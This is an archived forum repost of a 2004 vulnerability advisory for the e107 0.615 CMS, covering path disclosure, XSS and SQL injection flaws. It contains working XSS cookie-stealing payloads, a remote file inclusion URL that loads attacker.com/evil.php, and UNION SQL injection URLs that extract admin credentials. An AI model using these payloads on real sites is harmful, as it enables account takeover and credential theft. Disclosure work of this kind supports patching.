hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Help - Search - Member List - Calendar
Full Version: Multiple Vulnerabilities In E107 Version 0.615
GovernmentSecurity.org > The Archives > Exploit Articles
qcred11
May 30 2004, 03:56 AM
QUOTE


{====================================================

{                                                                                }

{              [ Multiple vulnerabilities in e107 version 0.615 ]              }

{                                                                                }

{====================================================

                                                                                         
                                   

Author: Janek Vind "waraxe"

Date: 29. May 2004

Location: Estonia, Tartu

Web: http://www.waraxe.us/index.php?modname=sa&id=31



Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From the official e107 Website - e107 is a portal / content management system powered

by PHP and mySQL that gives you a totally dynamic and professional website out of the
box.

It's simple wizard type install process will have you up and running in 5 minutes,

and best of all it's completely free.


Homepage: http://e107.org/


Vulnerabilities:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



First of all, some conditions have to be met on victim server, to be vulnerable:



1. "register_globals" must be "on"

2. mysql must be version 4.x with enabled UNION functionality.



Now, let's discuss those security flaws:


A - Full Path Disclosure:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Many software developers, webmasters, admins and other IT staff are underestimating

the full path disclosure as security bug. Anyway, this information - full path to

script - must be kept in secret, when possible, or it will be as little piece of the

puzzle amongst many other pieces, which finally will lead to successful attack on the

website.

A1 - many scripts can be accessed directly and this will provoke standard

php error messages, which leads to full path disclosure. Examples:


http://localhost/e107_0615/e107_plugins/al...ws/alt_news.php


http://localhost/e107_0615/e107_plugins/ba...ackend_menu.php


http://localhost/e107_0615/e107_plugins/cl.../clock_menu.php


http://localhost/e107_0615/e107_plugins/co...ounter_menu.php

http://localhost/e107_0615/e107_plugins/lo.../login_menu.php


.... and many-many more, needed to be fixed!


B - Cross-site scripting aka XSS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Potential attacker can use xss to steal the cookies, to read cross-domain forms,etc.

Finally it can lead to admin account compromise and ovetakeing of the website.

B1 - xss in clock_menu.php through direct access of the script:


http://localhost/e107_0615/e107_plugins/cl..._flat=1&LAN_407
=foo%22);

//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


B2 - xss in feature called "email article to a friend":

attacker must be logged off and will enter to inputfield "logged name" this:

foobar'><body onload=alert(document.cookie);>


B3 - xss in feature called "submit news":

Attacker is logged off and will enter to inputfield "logged name" this:

foobar'><body onload=alert(document.cookie);>


B4 - xss in "user settings":

attacker is logged on and makes POST request like this:

http://localhost/e107_0615/usersettings.php?avmsg=[xss code here]


C - Remote file inclusion:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Remote inclusion - this is VERY DANGEROUS security hole. If php is configured

with "allow_url_fopen=on" and there is no firewall, which blocks outbound
connections,

then potential attacker can force VICTIM's php engine to parse ATTACKER's php
code!!

This can lead to shell-level server compromise (if there are permissions to execute

system commands) with "nobody" or "apache" privileges. Attacker can
then try some

local r00t exploits and finally server is 0wned wink.gif


C1 - remote file inclusion in "secure_img_render.php" script:

http://localhost/e107_0615/e107_handlers/s...tacker.com/evil.
php


Remark: "register_globals" must be "on" to be successful in
exploitining in this way.

D - Sql injection

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Through sql injection potential attacker  can gather from database any information he
wants.

Including admin's username and password's md5 hash. There are only 1...2 steps
more to admin's

account overtakeing...


D1 - critical sql injection bug #1 in "content.php" script:

http://localhost/e107_0615/content.php?con.../null,null,null,

CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null
,null,null
,

null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

D2 - critical sql injection bug #2 in "content.php" script:

http://localhost/e107_0615/content.php?que...20select%20null,

CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null
,null,

null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*


D3 - critical sql injection bug in "news.php" script:

http://localhost/e107_0615/news.php?list.9...CT/**/null,null,

CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null
,null,

null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

How to fix:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

First of all, i suggest to use newer version 0.616, which seems to be patched

against above discussed bugs. And of course, you are welcome to visit forum on my

homepage at http://www.waraxe.us/forum/ , where you can find tutorial about manual fixes.

See ya there!

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.